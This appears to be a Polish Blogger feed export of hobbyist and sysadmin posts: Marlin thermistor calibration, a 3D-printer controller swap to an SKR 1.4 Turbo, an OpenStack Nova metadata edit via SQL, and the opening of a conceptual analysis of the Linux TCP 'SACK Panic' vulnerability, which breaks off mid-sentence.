<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizvD56gMLCEdu3eTgPCLS5gLJft5hlAKyn3OCk7NIonSE3s24-6cOuTXWWQKOUHFNQC3RDm6J-SnwEUUiE8dH_76Yc_JonQG5-607k-CzSE9QR9n2elFOtBpUsL5aO75cJ_Bsr2PmCO3U/s1600/Termistor_NTC100K_obudowa_PT100.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="481" data-original-width="250" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizvD56gMLCEdu3eTgPCLS5gLJft5hlAKyn3OCk7NIonSE3s24-6cOuTXWWQKOUHFNQC3RDm6J-SnwEUUiE8dH_76Yc_JonQG5-607k-CzSE9QR9n2elFOtBpUsL5aO75cJ_Bsr2PmCO3U/s320/Termistor_NTC100K_obudowa_PT100.png" width="164" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtdoBmxd4m0fLkbe6xpAMMPw9mCG1FIU_vCW1Dc3QsFt5mD0hh3IQHJvGP4W74CkVczhX6Ikrrjf0wdLAxQCcPNmtln5Sul9Rz1OkpMf5y22Nxa94lrpaOUZ9C6H1ADrh3CN_KtAtO3Tw/s1600/Termistor_NTC3950_100K.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="167" data-original-width="165" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtdoBmxd4m0fLkbe6xpAMMPw9mCG1FIU_vCW1Dc3QsFt5mD0hh3IQHJvGP4W74CkVczhX6Ikrrjf0wdLAxQCcPNmtln5Sul9Rz1OkpMf5y22Nxa94lrpaOUZ9C6H1ADrh3CN_KtAtO3Tw/s200/Termistor_NTC3950_100K.png" width="197" /></a></div>
<span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;">Czemu tak? By ułatwić sobie kalibrację czujnika temperatury. Pierwszy termistor, ten w obudowie <i>PT100</i> trafił w swoje docelowe miejsce, czyli do bloku grzewczego. Drugi jest tymczasowy. Po odkręceniu tylko samej głowicy, został wsadzony w miejsce gdzie normalnie powinien znaleźć się roztapiany filament. Przed montażem czujników, warto jeszcze sprawdzić czy wskazują zbliżoną temperaturę, pokojową oraz podobnie po równomiernym podgrzaniu obu.</span></span><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"> </span></span>
<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> #define TEMP_SENSOR_0 11
#define TEMP_SENSOR_CHAMBER 11
#define TEMP_CHAMBER_PIN P0_23_A0
</code></pre>
<br />
<span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;">Jak widać po tej konfiguracji, po kalibracji, drugi czujnik zostanie już jako czujnik temperatury w obudowie. W</span></span>pięty jest w złącze <i>TH1</i>, normalnie zarezerwowane dla drugiej głowicy.<br />
<br />
Teraz jak kalibrować temperaturę na głowicy? Najpierw łączymy się do drukarki i otwieramy terminal gdzie widać temperaturę raportowaną przez drukarkę wraz z wartościami <i>ADC</i>. Następnie otwieramy plik "<i>Marlin\src\module\thermistor\thermistor_11.h</i>". Jego zawartość wygląda mniej więcej tak:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">// R25 = 100 kOhm, beta25 = 3950 K, 4.7 kOhm pull-up, QU-BD silicone bed QWG-104F-3950 thermistor
const short temptable_11[][2] PROGMEM = {
{ OV( 1), 938 },
{ OV( 31), 314 },
{ OV( 41), 290 },
{ OV( 51), 272 },
...
</code></pre>
<br />
Po prawej stronie mamy temperaturę a po lewej w kolumnie <i>OV</i>, wartość <i>ADC</i>, odpowiadającą danej temperaturze.<br />
<br />
Kalibrację wykonujemy w taki sposób, że ustawiamy jakąś temperaturę, najlepiej taką jak widzimy po prawej stronie tablicy. Potem czekamy chwilę aż temperatura się ustabilizuje i poprawiamy tabele wstawiając temperaturę odczytaną z termistora będącego w środku głowicy oraz wartość <i>ADC</i> (podzieloną przez 4) odczytaną z termistora znajdującego się w bloku grzewczym. Czemu dzielimy wartość <i>ADC</i> przez 4? Nie wiem dokładnie, po prostu dla mojej drukarki tak to oblicza Marlin. Jak kogoś takie wytłumaczenie nie zadowala, to może sprawdzić kod makra <i>OV</i> w pliku "<i>Marlin\src\module\thermistor\thermistors.h</i>"<br />
<br />
Na dzisiaj to tyle, do zrobienia jest jeszcze charakterystyka bloku grzewczego (tzw. tuning <i>PID</i>) oraz dostosowanie liczby kroków ekstrudera, tak byśmy otrzymywali poprawną dawkę filamentu.<br />
<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-27743528160222200122020-05-25T11:55:00.003+02:002021-04-11T12:11:50.199+02:00Monoprice Maker Ultimate/Wanhao D6 wymiana kontrolera na SKR 1.4 Turbo<br />
Od jakiegoś czasu posiadam drukarkę 3D, model <i><a href="https://www.monoprice.com/product?p_id=29538" target="_blank">Monoprice Maker Ultimate</a></i>. Jest to ta sama konstrukcja co <i>Wanhao D6</i>, ale sprzedawana pod marką innej firmy. Oba te modele są udanym klonem polskiej drukarki <span class="st"><i>Zortrax M200</i>. </span>Drukarka miała swój debiut w okolicach 2016 roku i o ile sama jej konstrukcja może dalej z powodzeniem konkurować z najnowszymi modelami, to kontroler sterujący już się trochę zestarzał. W końcu padła decyzja o jego wymianie na coś nowszego.<br />
<br />
<a name='more'></a><br />
Oryginalny kontroler drukarki bazuje na <i>ATmega2560</i>, nie posiada automatycznego poziomowania łóżka, czujnika końca filamentu oraz posiada stare sterowniki silników krokowych <i>A4988</i> (generujące spory hałas). Co gorsza płytka nie była projektowana z myślą o podłączeniu dodatkowego sprzętu czy wymiany sterowników. Na plus można zaliczyć fakt, że aktualizacja firmware-u do nowszej wersji Marlina jest bezproblemowa.<br />
<br />
Zdecydowałem się na zakup kontrolera <i>BTT SKR 1.4 Turbo</i> wraz ze sterownikami <i>TMC-2209</i>. Na początku wszystko wydawało się w miarę proste, dopóki nowy kontroler nie dotarł i okazało się, że nie działa oryginalny wyświetlacz. I tu od razu wyszedł pierwszy problem, ponieważ chciałem zachować estetyczny wygląd drukarki, wolałem nie zmieniać wyświetlacza.<br />
<br />
Gdy się porówna <a href="https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/blob/master/BTT%20SKR%20V1.4/Hardware/BTT%20SKR%20V1.4PIN.pdf" target="_blank">pinout</a> złącz <i>EXP1</i> i <i>EXP2</i> na płytce <i>SKR</i> z płytką wyświetlacza tzw. <a href="https://github.com/Ultimaker/Ultimaker2/blob/master/1249_Ulticontroller_Board_(x1)/UltiController%20%20rev.%202.1.pdf" target="_blank">Ulticontroller</a>, widać że potrzebujemy na pinie 8 złącza <i>EXP2</i> podać zasilanie 3.3V. Natomiast piny 4 (<i>SDA</i>) i 6 (<i>SCL</i>) złącza <i>EXP1</i> (odpowiadające za komunikację z wyświetlaczem po szynie <i>I2C</i>), trzeba podłączyć do oddzielnego złącza <i>I2C</i> na płytce SKR. Czyli pin 4 złącza <i>EXP1</i> do pinu 0.0, a pin 6 do 0.1. Bardzo pomaga tutaj fakt, że <i>SKR</i> ma na spodniej stronie ładnie <a href="https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/blob/master/BTT%20SKR%20V1.4/Hardware/connect.jpg" target="_blank">opisane wszystkie wyprowadzenia</a>. Na końcu wygląda to tak:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnoH2uyt6ZcjcipdtBzbM0S3aPqqNuhiA6E61NrmCdUqr3krwYexXcdp6b00IIH9X3jrsBGQwkbeSZse7iVPQwyIQq_7Hu_vtlRblpjbBbsqlzSU2WpeZOg9cAwIqk_VuwcsVGYzWtPH0/s1600/ulticontroller4skr_cable.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnoH2uyt6ZcjcipdtBzbM0S3aPqqNuhiA6E61NrmCdUqr3krwYexXcdp6b00IIH9X3jrsBGQwkbeSZse7iVPQwyIQq_7Hu_vtlRblpjbBbsqlzSU2WpeZOg9cAwIqk_VuwcsVGYzWtPH0/s320/ulticontroller4skr_cable.png" width="240" /></a></div>
<br />
<br />
W pliku konfiguracyjnym Marlina <i>Configuration.h</i>, ustawiamy opcje:<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> #define ULTI_CONTROLLER
</code></pre>
<br />
Dalej pojawia się drugi problem, czyli tasiemka biegnąca do ekstrudera. Na szczęście aby rozeznać się które piny do czego służą, wystarczy prześledzić połączenia na płytce przy głowicy, co nie jest specjalnie trudne i daje mniej więcej taki rezultat:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir3gEEwDNf5fph149VNQBSB8tW2JQke0wXACSqHCszYXXKQ9qMiv2kZbLgFPEbiL57Olraw7O5a_F-9Jt1ExpIW63Bauo2t58_3zAO9ephAoue_q6h0WbmNcK1uJbSS3uUUbo_h_LmXgA/s1600/WanhaoD6_Ribbon.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="151" data-original-width="464" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir3gEEwDNf5fph149VNQBSB8tW2JQke0wXACSqHCszYXXKQ9qMiv2kZbLgFPEbiL57Olraw7O5a_F-9Jt1ExpIW63Bauo2t58_3zAO9ephAoue_q6h0WbmNcK1uJbSS3uUUbo_h_LmXgA/s320/WanhaoD6_Ribbon.png" width="320" /></a></div>
<br />
<br />
Pierwszy pin jest zazwyczaj oznaczony na wtyczce trójkącikiem, lub na samej tasiemce wyróżniającym się kolorem (najczęściej czerwonym). Warto tutaj spojrzeć do pliku <i>Marlin\src\pins\lpc1768\pins_BTT_SKR_V1_4.h</i>, gdzie mamy zdefiniowane funkcje wszystkich pinów dla <i>SKR</i>. Na podstawie tej rozpiski zlutowanie prostego adaptera nie jest już specjalnie trudne. W przypadku wentylatorów podłączamy tylko po jednym pinie, czyli do minusa-a w gnieździe <i>FAN0</i> (PWM) i <i>FAN1.</i><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikliJ_VKd0Yev994_WJTRL9MjOAu4DZ9nPyYZ7mXkwgMKnnjQZ_QvZI2gsPqSRvHeLN87Xh1GWErMYhWhnWAdLBtuyNy0r645ka1rPbLGxQ0rEE4MJQWFOV3Kv_7XRF17V9la3UvFNA0o/s1600/WanhaoD6_Ribbon_Connector.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikliJ_VKd0Yev994_WJTRL9MjOAu4DZ9nPyYZ7mXkwgMKnnjQZ_QvZI2gsPqSRvHeLN87Xh1GWErMYhWhnWAdLBtuyNy0r645ka1rPbLGxQ0rEE4MJQWFOV3Kv_7XRF17V9la3UvFNA0o/s320/WanhaoD6_Ribbon_Connector.png" width="240" /></a></div>
<br />
Konektor został zalany od spodu klejem na gorąco, by uniknąć przypadkowego zwarcia. Zresztą, podobnie jak i wszystkie luźne złączki. Po podłączeniu tego wszystkiego zrobił się lekki bałagan, w skrzynce:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwQWf1D8dId4Dw9Ud8Qitau7iIX50lYhOO1Kx9-EBGRPVlHF4NxxLldBVhCIEyiPtlQhxCDc6pBWuSOvit3y40xfCrafoD_awjWx0VpbNEhrDh_dpzo5LGHb72DL5IeVqY7nu6xPaM3b8/s1600/skr_assembled.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwQWf1D8dId4Dw9Ud8Qitau7iIX50lYhOO1Kx9-EBGRPVlHF4NxxLldBVhCIEyiPtlQhxCDc6pBWuSOvit3y40xfCrafoD_awjWx0VpbNEhrDh_dpzo5LGHb72DL5IeVqY7nu6xPaM3b8/s320/skr_assembled.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Teraz zostało już tylko dopracować konfigurację Marlina, zaczynamy od zmiany ustawienia typu czujnika temperatury dla <i>hotend</i>-u (<i>Configuration.h</i>), tutaj będzie to termo rezystor <i>PT100</i>:<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> #define TEMP_SENSOR_0 147
</code></pre>
<br />
Gdyby się zdarzyło, że silniki poruszają się w złym kierunku to można w tym samym pliku zmienić ustawienia dla wybranej osi, u mnie wygląda to tak:<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> #define INVERT_X_DIR true
#define INVERT_Y_DIR false
#define INVERT_Z_DIR true</code></pre>
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> #define INVERT_E0_DIR false </code></pre>
<br />
Próbowałem włączyć również <i>sensorless homing</i> <i>(Configuration_adv.h)</i> dla osi Z. W tym wypadu lepiej<b> nie</b> demontować starego wyłącznika krańcowego, a jedynie odpiąć przewody. Wyłącznik będzie pełnił rolę dodatkowej blokady, tak by nie tylko na samej głowicy zatrzymywał się stół. Dodatkowo, aby uniknąć mocnego uderzenia głowicą w stół należy podnieść <i>sensitivity</i> dla osi Z. W moim przypadku ustawienie <i>sensitivity</i> 64, jest już zbyt mocne i silnik zatrzymuje się sam, zanim stół dotrze do pozycji zero. Z drugiej strony przy 60 stół w dalszym ciągu jest zbyt mocno pchany w górę.<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> #define Z_STALL_SENSITIVITY 60
#define Z2_STALL_SENSITIVITY Z_STALL_SENSITIVITY
</code></pre>
<br />
Być może wraz z czujnikiem <i>BLTouch</i> sprawa wyglądałaby inaczej. Nie pozostało mi więc nic innego jak wrócić się na wyłącznik krańcowy. W tym celu trzeba zakomentować linie powyżej oraz odgiąć jedną nóżkę w sterowniku. Nóżkę najlepiej odgiąć do środka, tak by nie miała szans dotknąć innych wyprowadzeń na płytce.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb-pNWFW3mAo3EhRgRP7ZEt9rCvFqdhDxyKCekh3cTDpt8bfRdWTxITmbelDrt8fTAaH0f5jRb-X8i3zM13NBB5D22FC-A6m87FpTgq0TMiVbyFozfvfdWhIi81fC03UYPrNXo5KQjB8w/s1600/tmc2209.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1371" data-original-width="1283" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb-pNWFW3mAo3EhRgRP7ZEt9rCvFqdhDxyKCekh3cTDpt8bfRdWTxITmbelDrt8fTAaH0f5jRb-X8i3zM13NBB5D22FC-A6m87FpTgq0TMiVbyFozfvfdWhIi81fC03UYPrNXo5KQjB8w/s320/tmc2209.png" width="299" /></a></div>
<br />
Dodatkowo odwracamy logikę działania <i>endstop</i>-u (<i>Configuration.h)</i>:<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> #define Z_MIN_ENDSTOP_INVERTING true
</code></pre>
<br />
Po więcej ustawień dotyczących sterowników TMC warto spojrzeć do <a href="https://marlinfw.org/docs/hardware/tmc_drivers.html" target="_blank">dokumentacji Marlina</a>. Można się zastanowić nad włączeniem np. <i>HYBRID_THRESHOLD</i> lub <i>Z_SAFE_HOMING</i>. <i>Safe homing</i> to opcja która między innymi przesuwa głowicę w zdefiniowane miejsce przed wykonaniem <i>homing</i>-u dla osi Z, czyli domyślnie ustawia ją nad środkiem stołu.<br />
<br />
Na koniec kilka słów o oświetleniu. Oryginalna tasiemka jest na 24V, więc można ją co najwyżej podpiąć do jednego z gniazdek dla wentylatorów. Jeżeli ktoś ma tasiemkę na 5V, to może spróbować konfiguracji poniżej i wpiąć się w gniazdo <i>neopixel</i>. Najprostrzym rozwiązaniem będzie jednak zakup tasiemki z diodami neopixel.<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;">#define CASE_LIGHT_ENABLE
#if ENABLED(CASE_LIGHT_ENABLE)
#define CASE_LIGHT_PIN P1_24 // Override the default pin if needed
#define INVERT_CASE_LIGHT false // Set true if Case Light is ON when pin is LOW
#define CASE_LIGHT_DEFAULT_ON true // Set default power-up state on
#define CASE_LIGHT_DEFAULT_BRIGHTNESS 255 // Set default power-up brightness (0-255, requires PWM pin)
//#define CASE_LIGHT_MAX_PWM 128 // Limit pwm
#define CASE_LIGHT_MENU // Add Case Light options to the LCD menu
//#define CASE_LIGHT_NO_BRIGHTNESS // Disable brightness control. Enable for non-PWM lighting.
//#define CASE_LIGHT_USE_NEOPIXEL // Use Neopixel LED as case light, requires NEOPIXEL_LED.
#if ENABLED(CASE_LIGHT_USE_NEOPIXEL)
#define CASE_LIGHT_NEOPIXEL_COLOR { 255, 255, 255, 255 } // { Red, Green, Blue, White }
#endif
#endif
</code></pre>
<br />
<br />
W tym wpisie nie opisałem wszystkich ustawień Marlin-a jakie są konieczne do uruchomienia SKR, te znajdziesz w <a href="https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/blob/master/BTT%20SKR%20V1.4/BTT%20SKR%20V1.4%20Instruction%20Manual.pdf" target="_blank">krótkiej instrukcji</a> w firmowym repozytorium github Bigtreetech.<br />
<br />
Do zrobienia zostaje jeszcze kalibracja drukarki, ale o tym może w kolejnym wpisie. <br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-19784163845615087142020-05-06T09:15:00.002+02:002020-05-20T12:50:43.546+02:00Openstack i zmiana metadanych instancjiW OpenStack metadane maszyn wirtualnych są ustawiane tylko przy tworzeniu maszyny. Jeżeli by się zdarzyło, że musimy je zmodyfikować bo chcemy np. dodać wsparcie dla generatora liczb losowych, tak jak zostało to opisane <a href="https://wiki.openstack.org/wiki/LibvirtVirtioRng">tutaj</a>, to niestety mamy problem.<br />
<br />
Na ta chwile w OpenStack Rocky, nie zrobimy tego ani z panelu zarządzającego Horizon ani z linii poleceń.
Co pozostaje? Ręczna edycja metadanych w bazie danych dla Nova, np. tak:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>MariaDB [nova]> insert into instance_system_metadata set created_at = '2020-04-29 08:13:14', instance_uuid = 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX', instance_system_metadata.key = 'image_hw_rng_model', value = 'virtio', deleted = 0;
Query OK, 1 row affected (0.02 sec)
MariaDB [nova]> select * from instance_system_metadata where instance_uuid = 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX';
</code></pre>
<br />
Zamiast <i>instance_uuid</i> wstawiamy oczywiście prawidłowy UUID naszej maszyny wirtualnej. By zaaplikować nowe ustawienia, wystarczy teraz wyłączyć a następnie uruchomić ponownie instancje.adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-49400999449453780362019-07-05T18:27:00.000+02:002019-07-10T19:09:35.108+02:00Bez paniki o "SACK Panic" - analiza CVE-2019-11477<br />
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"> Niedawno
zostało odkryte kilka problemów w Linuksowej obsłudze protokołu TCP.
Najpoważniejszy problem o sygnaturze <i>CVE-2019-11477</i> umożliwia zdalne
zawieszenie systemu Linux i został ochrzczony mianem "SACK Panic". Zanim
przystąpicie do dalszej lektury, warto odrobić pracę domową i najpierw
przeczytać opis samej podatności, po Angielsku </span><a href="https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">tu</span></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"> i </span><a href="https://access.redhat.com/security/vulnerabilities/tcpsack"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">tu</span></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">, po Polsku </span><a href="https://nfsec.pl/security/6167"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">tutaj</span></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">, czy zobaczyć </span><a href="https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=3b4929f65b0d8249f19a50245cd88ed1a2f78cff"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">patch</span></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"> na jądro.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Wszystkie
większe serwisy podchwyciły ten temat informując o poważnej luce. Z jednej
strony bardzo dobrze, ale to czego w dalszym ciągu brakuje to rzeczywistej
analizy podatności, stopnia trudności i warunkach w jakich jest możliwa do
wykorzystania. Tego typu informacje umożliwią nam identyfikację najbardziej
zagrożonych maszyn w naszej infrastrukturze. Zainteresowany? Więc zapraszam do
lektury.</span></div>
<br />
<a name='more'></a><br />
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"> Na początek
warto opisać pobieżnie jak połączenia TCP są nawiązywane oraz jak wygląda ich obsługa
w Linuksie i nie tylko. Aplikacja chcąca skorzystać a jakiejś usługi, czyli klient,
inicjuje połączenie wysyłając pakiet z flagą SYN oraz ustawionymi opcjami TCP. Opcje
TCP określają parametry nawiązywanego połączenia. Najistotniejszy dla nas, z
punktu widzenia podatności która analizujemy, jest rozmiar MSS (Maximum Segment
Size). Jest to informacja o tym ile danych, liczonych w bajtach, może
maksymalnie zawierać pakiet TCP. Dwie rzeczy są tutaj szczególnie istotne:</span></div>
<ul type="disc">
<li class="MsoNormal" style="line-height: normal; mso-list: l1 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 36.0pt;"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Wartość
MSS zawiera w sobie rozmiar danych oraz rozmiar opcji TCP. Stąd, jeżeli
rozmiar MSS wynosi 48, to po odjęciu od niego 12 bajtów przeznaczonych dla
opcji <i>TIMESTAMP</i><span style="mso-bidi-font-style: italic;">,
określającej kiedy pakiet został wysłany</span>, pozostaje już tylko 36
bajtów na dane. Sumarycznie opcje TCP mogą zabrać nie więcej jak 40
bajtów, co zostawia jedynie 8 bajtów na dane w przypadku MSS ustawionego
na 48.</span></li>
</ul>
<ul type="disc">
<li class="MsoNormal" style="line-height: normal; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 36.0pt;"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Wartość MSS
podana podczas zestawiania połączenia, to tylko informacja z punktu
widzenia klienta (bądź serwera), zazwyczaj zależna od parametru MTU karty
sieciowej. Żadna ze stron komunikacji nic nie wie o sieciach przez które
przechodzą ich pakiety. Dodatkowo obie strony będą dążyć do tego by
przesłać jak najwięcej danych w jak najkrótszym czasie. Oznacza to, że ilość
wysyłanych danych w pojedynczym pakiecie, będzie cały czas zwiększana aż
do momentu zgubienia pakietu. Dopiero wtedy następuje powrót do mniejszej
wartości (określonej przez algorytm PMTUD) lub do wartość podanej przy
zestawianiu połączenia. Podobnie zresztą rzecz się ma z szybkością
nadawania pakietów - będzie zwiększana dotąd aż pakiety nie zaczną być
gubione. Podsumowując ten punkt, trzeba wiedzieć, że parametr MSS może się
zmieniać nawet w trakcie trwania nawiązanego połączenia.</span></li>
</ul>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Kolejny istotny
parametr TCP, to rozmiar okna, mówiący po nadaniu ilu danych, nadający musi
zaczekać aż odbiorca potwierdzi odbiór. Okno również może być zmieniane w
czasie trwania połączenia.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">W następnym
etapie, serwer odpowiada pakietem z flagami SYN i ACK, oraz podobnym zestawem
opcji TCP jak klient, ale podanymi z jego punktu widzenia. Ostatecznie klient
odpowiada pakietem ACK, czym potwierdza zestawienie połączenia.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Do zrozumienia
"<i>SACK Panic</i>", trzeba jeszcze wyjaśnić na czym polega mechanizm
TSO (<i>TCP Segment Offload</i>) i GSO (<i>Generic Segmentation Offload</i>), w
którym znajduje się podatność.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br />
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Podczas
normalnej transmisji system może odbierać i nadawać tysiące pakietów z danymi w
bardzo krótkim czasie. Dla każdego takiego pakietu trzeba policzyć sumę
kontrolną, sprawdzić poprawność nagłówków itp. Jednym słowem dużo pracy. Z tego
powodu od dłuższego czasu, karty sieciowe posiadają układy sprzętowe, które
liczą sumy kontrolne oraz łączą małe pakiety w większe, zanim zostaną
przekazane do systemu operacyjnego. Łączenie pakietów w większe, jest właśnie
mechanizmem TSO. Wykorzystuje to fakt, że zazwyczaj pakiety pojawiają się w
kolejności nadawania. Jeżeli karta sieciowa odbierze dane o indeksie od 1 do
10, a następnie w minimalnym odstępie czasu, dane od 11 do 20, to równie dobrze
może zachować się tak jakby dostała jeden blok danych, od 1 do 20. W ten sposób
zamiast kilku pakietów, system będzie przerabiać tylko jeden.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Po czasie zauważono
również, że łączenie pakietów daje spore benefity wydajnościowe głównie ze
